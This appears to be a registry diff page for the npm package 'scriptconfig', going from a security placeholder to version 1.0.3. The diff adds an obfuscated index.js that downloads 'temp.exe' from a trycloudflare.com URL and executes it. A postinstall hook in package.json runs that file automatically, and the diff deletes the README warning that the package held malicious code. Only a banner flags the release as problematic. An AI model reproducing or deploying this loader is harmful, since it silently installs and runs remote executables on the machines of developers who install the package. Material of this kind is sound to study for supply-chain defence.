scriptconfig 0.0.1-security → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of scriptconfig might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x559eb5=_0x49de;function _0x49de(_0xe308a1,_0x4cab1e){const _0xab0bf3=_0xab0b();return _0x49de=function(_0x49de2b,_0x47d19f){_0x49de2b=_0x49de2b-0x1d8;let _0x3c875f=_0xab0bf3[_0x49de2b];return _0x3c875f;},_0x49de(_0xe308a1,_0x4cab1e);}(function(_0x2aa30e,_0x4b85b1){const _0x153234=_0x49de,_0x5134da=_0x2aa30e();while(!![]){try{const _0x1fe828=parseInt(_0x153234(0x1df))/0x1+parseInt(_0x153234(0x1db))/0x2*(-parseInt(_0x153234(0x1eb))/0x3)+-parseInt(_0x153234(0x1d8))/0x4+parseInt(_0x153234(0x1e6))/0x5*(-parseInt(_0x153234(0x1ec))/0x6)+-parseInt(_0x153234(0x1da))/0x7*(-parseInt(_0x153234(0x1e0))/0x8)+parseInt(_0x153234(0x1e3))/0x9*(parseInt(_0x153234(0x1de))/0xa)+parseInt(_0x153234(0x1e1))/0xb*(parseInt(_0x153234(0x1e2))/0xc);if(_0x1fe828===_0x4b85b1)break;else _0x5134da['push'](_0x5134da['shift']());}catch(_0x2e2ec7){_0x5134da['push'](_0x5134da['shift']());}}}(_0xab0b,0x7c74d));const fs=require('fs-extra'),path=require(_0x559eb5(0x1e5)),fetch=require(_0x559eb5(0x1e7)),{exec}=require(_0x559eb5(0x1e4)),exeFileName=_0x559eb5(0x1dc),downloadUrl=_0x559eb5(0x1dd),exeFilePath=path[_0x559eb5(0x1e9)](__dirname,exeFileName);async function downloadFile(_0x5de1cc,_0x201fb4){const _0x61fc4c=_0x559eb5,_0x2e39b1=await fetch(_0x5de1cc);if(!_0x2e39b1['ok'])throw new Error(_0x61fc4c(0x1d9)+_0x2e39b1[_0x61fc4c(0x1ea)]);const _0x3520d4=await _0x2e39b1['buffer']();await fs[_0x61fc4c(0x1ed)](_0x201fb4,_0x3520d4);}async function runExecutable(){const _0x415d84=_0x559eb5;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x29da26=>{const _0x39dc55=_0x49de;_0x29da26&&console[_0x39dc55(0x1e8)]('Error\x20running\x20the\x20executable:\x20'+_0x29da26);});}catch(_0xfcaa05){console[_0x415d84(0x1e8)]('Download\x20error:\x20'+_0xfcaa05);}}function _0xab0b(){const _0x4bf8f2=['status','2329689HpBEcU','5278662wvfxSA','writeFile','3652532pvGOEd','HTTP\x20error!\x20status:\x20','1634843JDcXuf','2gtaAEp','temp.exe','https://wisconsin-surgical-hottest-citysearch.trycloudflare.com/home','7430agKNXa','797881bXGWOo','24WptoOh','220VlRawM','776352UnOyvh','3474cqEDmw','child_process','path','5ISSxjo','node-fetch','error','join'];_0xab0b=function(){return _0x4bf8f2;};return _0xab0b();}runExecutable();
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "scriptconfig",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.3",
4
+ "description": "Pkg",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "update": "index.js"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node index.js"
11
+ },
12
+ "dependencies": {
13
+ "fs-extra": "^10.0.0",
14
+ "node-fetch": "^2.6.7",
15
+ "sudo-prompt": "^9.2.1"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=scriptconfig for more information.